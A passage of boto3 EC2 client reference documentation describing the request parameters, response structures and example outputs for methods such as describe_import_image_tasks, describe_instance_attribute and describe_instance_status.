'ami-5731123e', + ], +) + +print(response) + +Expected Output: + +{ + 'Images': [ + { + 'Architecture': 'x86_64', + 'BlockDeviceMappings': [ + { + 'DeviceName': '/dev/sda1', + 'Ebs': { + 'DeleteOnTermination': True, + 'SnapshotId': 'snap-1234567890abcdef0', + 'VolumeSize': 8, + 'VolumeType': 'standard', + }, + }, + ], + 'Description': 'An AMI for my server', + 'Hypervisor': 'xen', + 'ImageId': 'ami-5731123e', + 'ImageLocation': '123456789012/My server', + 'ImageType': 'machine', + 'KernelId': 'aki-88aa75e1', + 'Name': 'My server', + 'OwnerId': '123456789012', + 'Public': False, + 'RootDeviceName': '/dev/sda1', + 'RootDeviceType': 'ebs', + 'State': 'available', + 'VirtualizationType': 'paravirtual', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_import_image_tasks(kwargs_) + +Displays details about an import virtual machine or import snapshot tasks that are already created. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImportImageTasks) + +**Request Syntax** + +response = client.describe_import_image_tasks( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ImportTaskIds=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + Filter tasks using the task-state filter and one of the following values: active , completed , deleting , or deleted . + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **ImportTaskIds** (_list_) -- + + The IDs of the import image tasks. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. +* **NextToken** (_string_) -- A token that indicates the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImportImageTasks': [ + { + 'Architecture': 'string', + 'Description': 'string', + 'Encrypted': True|False, + 'Hypervisor': 'string', + 'ImageId': 'string', + 'ImportTaskId': 'string', + 'KmsKeyId': 'string', + 'LicenseType': 'string', + 'Platform': 'string', + 'Progress': 'string', + 'SnapshotDetails': [ + { + 'Description': 'string', + 'DeviceName': 'string', + 'DiskImageSize': 123.0, + 'Format': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + ], + 'Status': 'string', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ImportImageTasks** _(list) --_ + + A list of zero or more import image tasks that are currently active or were completed or canceled in the previous 7 days. + + * _(dict) --_ + + Describes an import image task. + + * **Architecture** _(string) --_ + + The architecture of the virtual machine. + + Valid values: i386 | x86_64 | arm64 + + * **Description** _(string) --_ + + A description of the import task. + + * **Encrypted** _(boolean) --_ + + Indicates whether the image is encrypted. + + * **Hypervisor** _(string) --_ + + The target hypervisor for the import task. + + Valid values: xen + + * **ImageId** _(string) --_ + + The ID of the Amazon Machine Image (AMI) of the imported virtual machine. + + * **ImportTaskId** _(string) --_ + + The ID of the import image task. + + * **KmsKeyId** _(string) --_ + + The identifier for the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to create the encrypted image. + + * **LicenseType** _(string) --_ + + The license type of the virtual machine. + + * **Platform** _(string) --_ + + The description string for the import image task. + + * **Progress** _(string) --_ + + The percentage of progress of the import image task. + + * **SnapshotDetails** _(list) --_ + + Information about the snapshots. + + * _(dict) --_ + + Describes the snapshot created from the imported disk. + + * **Description** _(string) --_ + + A description for the snapshot. + + * **DeviceName** _(string) --_ + + The block device mapping for the snapshot. + + * **DiskImageSize** _(float) --_ + + The size of the disk in the snapshot, in GiB. + + * **Format** _(string) --_ + + The format of the disk image from which the snapshot is created. + + * **Progress** _(string) --_ + + The percentage of progress for the task. + + * **SnapshotId** _(string) --_ + + The snapshot ID of the disk being imported. + + * **Status** _(string) --_ + + A brief status of the snapshot creation. + + * **StatusMessage** _(string) --_ + + A detailed status message for the snapshot creation. + + * **Url** _(string) --_ + + The URL used to access the disk image. + + * **UserBucket** _(dict) --_ + + The Amazon S3 bucket for the disk image. + + * **S3Bucket** _(string) --_ + + The Amazon S3 bucket from which the disk image was created. + + * **S3Key** _(string) --_ + + The file name of the disk image. + + * **Status** _(string) --_ + + A brief status for the import image task. + + * **StatusMessage** _(string) --_ + + A descriptive status message for the import image task. + + * **Tags** _(list) --_ + + The tags for the import image task. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **LicenseSpecifications** _(list) --_ + + The ARNs of the license configurations that are associated with the import image task. + + * _(dict) --_ + + The response information for license configurations. + + * **LicenseConfigurationArn** _(string) --_ + + The ARN of a license configuration. + + * **NextToken** _(string) --_ + + The token to use to get the next page of results. This value is null when there are no more results to return. + + +describe_import_snapshot_tasks(kwargs_) + +Describes your import snapshot tasks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImportSnapshotTasks) + +**Request Syntax** + +response = client.describe_import_snapshot_tasks( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ImportTaskIds=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + The filters. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **ImportTaskIds** (_list_) -- + + A list of import snapshot task IDs. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- A token that indicates the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImportSnapshotTasks': [ + { + 'Description': 'string', + 'ImportTaskId': 'string', + 'SnapshotTaskDetail': { + 'Description': 'string', + 'DiskImageSize': 123.0, + 'Encrypted': True|False, + 'Format': 'string', + 'KmsKeyId': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ImportSnapshotTasks** _(list) --_ + + A list of zero or more import snapshot tasks that are currently active or were completed or canceled in the previous 7 days. + + * _(dict) --_ + + Describes an import snapshot task. + + * **Description** _(string) --_ + + A description of the import snapshot task. + + * **ImportTaskId** _(string) --_ + + The ID of the import snapshot task. + + * **SnapshotTaskDetail** _(dict) --_ + + Describes an import snapshot task. + + * **Description** _(string) --_ + + The description of the snapshot. + + * **DiskImageSize** _(float) --_ + + The size of the disk in the snapshot, in GiB. + + * **Encrypted** _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + * **Format** _(string) --_ + + The format of the disk image from which the snapshot is created. + + * **KmsKeyId** _(string) --_ + + The identifier for the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to create the encrypted snapshot. + + * **Progress** _(string) --_ + + The percentage of completion for the import snapshot task. + + * **SnapshotId** _(string) --_ + + The snapshot ID of the disk being imported. + + * **Status** _(string) --_ + + A brief status for the import snapshot task. + + * **StatusMessage** _(string) --_ + + A detailed status message for the import snapshot task. + + * **Url** _(string) --_ + + The URL of the disk image from which the snapshot is created. + + * **UserBucket** _(dict) --_ + + The Amazon S3 bucket for the disk image. + + * **S3Bucket** _(string) --_ + + The Amazon S3 bucket from which the disk image was created. + + * **S3Key** _(string) --_ + + The file name of the disk image. + + * **Tags** _(list) --_ + + The tags for the import snapshot task. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to get the next page of results. This value is null when there are no more results to return. + + +describe_instance_attribute(kwargs_) + +Describes the specified attribute of the specified instance. You can specify only one attribute at a time. Valid attribute values are: instanceType | kernel | ramdisk | userData | disableApiTermination | instanceInitiatedShutdownBehavior | rootDeviceName | blockDeviceMapping | productCodes | sourceDestCheck | groupSet | ebsOptimized | sriovNetSupport + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceAttribute) + +**Request Syntax** + +response = client.describe_instance_attribute( + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun=True|False, + InstanceId='string' +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The instance attribute. + + Note: The enaSupport attribute is not supported at this time. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'Ebs': { + 'AttachTime': datetime(2015, 1, 1), + 'DeleteOnTermination': True|False, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'VolumeId': 'string' + } + }, + ], + 'DisableApiTermination': { + 'Value': True|False + }, + 'EnaSupport': { + 'Value': True|False + }, + 'EnclaveOptions': { + 'Enabled': True|False + }, + 'EbsOptimized': { + 'Value': True|False + }, + 'InstanceId': 'string', + 'InstanceInitiatedShutdownBehavior': { + 'Value': 'string' + }, + 'InstanceType': { + 'Value': 'string' + }, + 'KernelId': { + 'Value': 'string' + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'RamdiskId': { + 'Value': 'string' + }, + 'RootDeviceName': { + 'Value': 'string' + }, + 'SourceDestCheck': { + 'Value': True|False + }, + 'SriovNetSupport': { + 'Value': 'string' + }, + 'UserData': { + 'Value': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + Describes an instance attribute. + + * **Groups** _(list) --_ + + The security groups associated with the instance. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **BlockDeviceMappings** _(list) --_ + + The block device mapping of the instance. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + * **Status** _(string) --_ + + The attachment state. + + * **VolumeId** _(string) --_ + + The ID of the EBS volume. + + * **DisableApiTermination** _(dict) --_ + + If the value is true , you can't terminate the instance through the Amazon EC2 console, CLI, or API; otherwise, you can. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **EnaSupport** _(dict) --_ + + Indicates whether enhanced networking with ENA is enabled. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **EnclaveOptions** _(dict) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true ; otherwise, set it to false . + + * **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + * **EbsOptimized** _(dict) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceInitiatedShutdownBehavior** _(dict) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **InstanceType** _(dict) --_ + + The instance type. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **KernelId** _(dict) --_ + + The kernel ID. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **ProductCodes** _(list) --_ + + A list of product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **RamdiskId** _(dict) --_ + + The RAM disk ID. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **RootDeviceName** _(dict) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **SriovNetSupport** _(dict) --_ + + Indicates whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **UserData** _(dict) --_ + + The user data. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +**Examples** + +This example describes the instance type of the specified instance. + +response = client.describe_instance_attribute( + Attribute='instanceType', + InstanceId='i-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'InstanceId': 'i-1234567890abcdef0', + 'InstanceType': { + 'Value': 't1.micro', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the disableApiTermination attribute of the specified instance. + +response = client.describe_instance_attribute( + Attribute='disableApiTermination', + InstanceId='i-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'DisableApiTermination': { + 'Value': 'false', + }, + 'InstanceId': 'i-1234567890abcdef0', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the blockDeviceMapping attribute of the specified instance. + +response = client.describe_instance_attribute( + Attribute='blockDeviceMapping', + InstanceId='i-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'BlockDeviceMappings': [ + { + 'DeviceName': '/dev/sda1', + 'Ebs': { + 'AttachTime': datetime(2013, 5, 17, 22, 42, 34, 4, 137, 0), + 'DeleteOnTermination': True, + 'Status': 'attached', + 'VolumeId': 'vol-049df61146c4d7901', + }, + }, + { + 'DeviceName': '/dev/sdf', + 'Ebs': { + 'AttachTime': datetime(2013, 9, 10, 23, 7, 0, 1, 253, 0), + 'DeleteOnTermination': False, + 'Status': 'attached', + 'VolumeId': 'vol-049df61146c4d7901', + }, + }, + ], + 'InstanceId': 'i-1234567890abcdef0', + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_instance_credit_specifications(kwargs_) + +Describes the credit option for CPU usage of the specified burstable performance instances. The credit options are standard and unlimited . + +If you do not specify an instance ID, Amazon EC2 returns burstable performance instances with the unlimited credit option, as well as instances that were previously configured as T2, T3, and T3a with the unlimited credit option. For example, if you resize a T2 instance, while it is configured as unlimited , to an M4 instance, Amazon EC2 returns the M4 instance. + +If you specify one or more instance IDs, Amazon EC2 returns the credit option (standard or unlimited ) of those instances. If you specify an instance ID that is not valid, such as an instance that is not a burstable performance instance, an error is returned. + +Recently terminated instances might appear in the returned results. This interval is usually less than one hour. + +If an Availability Zone is experiencing a service disruption and you specify instance IDs in the affected zone, or do not specify any instance IDs at all, the call fails. If you specify only instance IDs in an unaffected zone, the call works normally. + +For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceCreditSpecifications) + +**Request Syntax** + +response = client.describe_instance_credit_specifications( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + The filters. + + * instance-id - The ID of the instance. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + Constraints: Maximum 1000 explicitly specified instance IDs. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceCreditSpecifications': [ + { + 'InstanceId': 'string', + 'CpuCredits': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceCreditSpecifications** _(list) --_ + + Information about the credit option for CPU usage of an instance. + + * _(dict) --_ + + Describes the credit option for CPU usage of a burstable performance instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **CpuCredits** _(string) --_ + + The credit option for CPU usage of the instance. Valid values are standard and unlimited . + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_instance_event_notification_attributes(kwargs_)definition") + +Describes the tag keys that are registered to appear in scheduled event notifications for resources in the current Region. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceEventNotificationAttributes) + +**Request Syntax** + +response = client.describe_instance_event_notification_attributes( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceTagAttribute': { + 'InstanceTagKeys': [ + 'string', + ], + 'IncludeAllTagsOfInstance': True|False + } +} + +**Response Structure** + +* _(dict) --_ + * **InstanceTagAttribute** _(dict) --_ + + Information about the registered tag keys. + + * **InstanceTagKeys** _(list) --_ + + The registered tag keys. + + * _(string) --_ + * **IncludeAllTagsOfInstance** _(boolean) --_ + + Indicates whether all tag keys in the current Region are registered to appear in scheduled event notifications. true indicates that all tag keys in the current Region are registered. + + +describe_instance_status(kwargs_) + +Describes the status of the specified instances or all of your instances. By default, only running instances are described, unless you specifically indicate to return the status of all instances. + +Instance status includes the following components: + +* **Status checks** - Amazon EC2 performs status checks on running EC2 instances to identify hardware and software issues. For more information, see [Status checks for your instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-system-instance-status-check.html) and [Troubleshooting instances with failed status checks](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstances.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **Scheduled events** - Amazon EC2 can schedule events (such as reboot, stop, or terminate) for your instances related to hardware issues, software updates, or system maintenance. For more information, see [Scheduled events for your instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-instances-status-check_sched.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **Instance state** - You can manage your instances from the moment you launch them through their termination. For more information, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceStatus) + +**Request Syntax** + +response = client.describe_instance_status( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + MaxResults=123, + NextToken='string', + DryRun=True|False, + IncludeAllInstances=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * availability-zone - The Availability Zone of the instance. + * event.code - The code for the scheduled event (instance-reboot | system-reboot | system-maintenance | instance-retirement | instance-stop ). + * event.description - A description of the event. + * event.instance-event-id - The ID of the event whose date and time you are modifying. + * event.not-after - The latest end time for the scheduled event (for example, 2014-09-15T17:15:20.000Z ). + * event.not-before - The earliest start time for the scheduled event (for example, 2014-09-15T17:15:20.000Z ). + * event.not-before-deadline - The deadline for starting the event (for example, 2014-09-15T17:15:20.000Z ). + * instance-state-code - The code for the instance state, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + * instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + * instance-status.reachability - Filters on instance status where the name is reachability (passed | failed | initializing | insufficient-data ). + * instance-status.status - The status of the instance (ok | impaired | initializing | insufficient-data | not-applicable ). + * system-status.reachability - Filters on system status where the name is reachability (passed | failed | initializing | insufficient-data ). + * system-status.status - The system status of the instance (ok | impaired | initializing | insufficient-data | not-applicable ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + Constraints: Maximum 100 explicitly specified instance IDs. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IncludeAllInstances** (_boolean_) -- + + When true , includes the health status for all instances. When false , includes the health status for running instances only. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceStatuses': [ + { + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'InstanceEventId': 'string', + 'Code': 'instance-reboot'|'system-reboot'|'system-maintenance'|'instance-retirement'|'instance-stop', + 'Description': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'NotBeforeDeadline': datetime(2015, 1, 1) + }, + ], + 'InstanceId': 'string', + 'InstanceState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceStatus': { + 'Details': [ + { + 'ImpairedSince': datetime(2015, 1, 1), + 'Name': 'reachability', + 'Status': 'passed'|'failed'|'insufficient-data'|'initializing' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data'|'not-applicable'|'initializing' + }, + 'SystemStatus': { + 'Details': [ + { + 'ImpairedSince': datetime(2015, 1, 1), + 'Name': 'reachability', + 'Status': 'passed'|'failed'|'insufficient-data'|'initializing' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data'|'not-applicable'|'initializing' + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceStatuses** _(list) --_ + + Information about the status of the instances. + + * _(dict) --_ + + Describes the status of an instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Events** _(list) --_ + + Any scheduled events associated with the instance. + + * _(dict) --_ + + Describes a scheduled event for an instance. + + * **InstanceEventId** _(string) --_ + + The ID of the event. + + * **Code** _(string) --_ + + The event code. + + * **Description** _(string) --_ + + A description of the event. + + After a scheduled event is completed, it can still be described for up to a week. If the event has been completed, this description starts with the following text: [Completed]. + + * **NotAfter** _(datetime) --_ + + The latest scheduled end time for the event. + + * **NotBefore** _(datetime) --_ + + The earliest scheduled start time for the event. + + * **NotBeforeDeadline** _(datetime) --_ + + The deadline for starting the event. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceState** _(dict) --_ + + The intended state of the instance. DescribeInstanceStatus requires that an instance be in the running state. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceStatus** _(dict) --_ + + Reports impaired functionality that stems from issues internal to the instance, such as impaired reachability. + + * **Details** _(list) --_ + + The system instance health or application instance health. + + * _(dict) --_ + + Describes the instance status. + + * **ImpairedSince** _(datetime) --_ + + The time when a status check failed. For an instance that was launched and impaired, this is the time when the instance was launched. + + * **Name** _(string) --_ + + The type of instance status. + + * **Status** _(string) --_ + + The status. + + * **Status** _(string) --_ + + The status. + + * **SystemStatus** _(dict) --_ + + Reports impaired functionality that stems from issues related to the systems that support an instance, such as hardware failures and network connectivity problems. + + * **Details** _(list) --_ + + The system instance health or application instance health. + + * _(dict) --_ + + Describes the instance status. + + * **ImpairedSince** _(datetime) --_ + + The time when a status check failed. For an instance that was launched and impaired, this is the time when the instance was launched. + + * **Name** _(string) --_ + + The type of instance status. + + * **Status** _(string) --_ + + The status. + + * **Status** _(string) --_ + + The status. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the current status of the specified instance. + +response = client.describe_instance_status( + InstanceIds=[ + 'i-1234567890abcdef0', + ], +) + +print(response) + +Expected Output: + +{ + 'InstanceStatuses': [ + { + 'AvailabilityZone': 'us-east-1d', + 'InstanceId': 'i-1234567890abcdef0', + 'InstanceState': { + 'Code': 16, + 'Name': 'running', + }, + 'InstanceStatus': { + 'Details': [ + { + 'Name': 'reachability', + 'Status': 'passed', + }, + ], + 'Status': 'ok', + }, + 'SystemStatus': { + 'Details': [ + { + 'Name': 'reachability', + 'Status': 'passed', + }, + ], + 'Status': 'ok', + }, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_instance_type_offerings(kwargs_) + +Returns a list of all instance types offered. The results can be filtered by location (Region or Availability Zone). If no location is specified, the instance types offered in the current Region are returned. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceTypeOfferings) + +**Request Syntax** + +response = client.describe_instance_type_offerings( + DryRun=True|False, + LocationType='region'|'availability-zone'|'availability-zone-id', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **LocationType** (_string_) -- The location type. +* **Filters** (_list_) -- + + One or more filters. 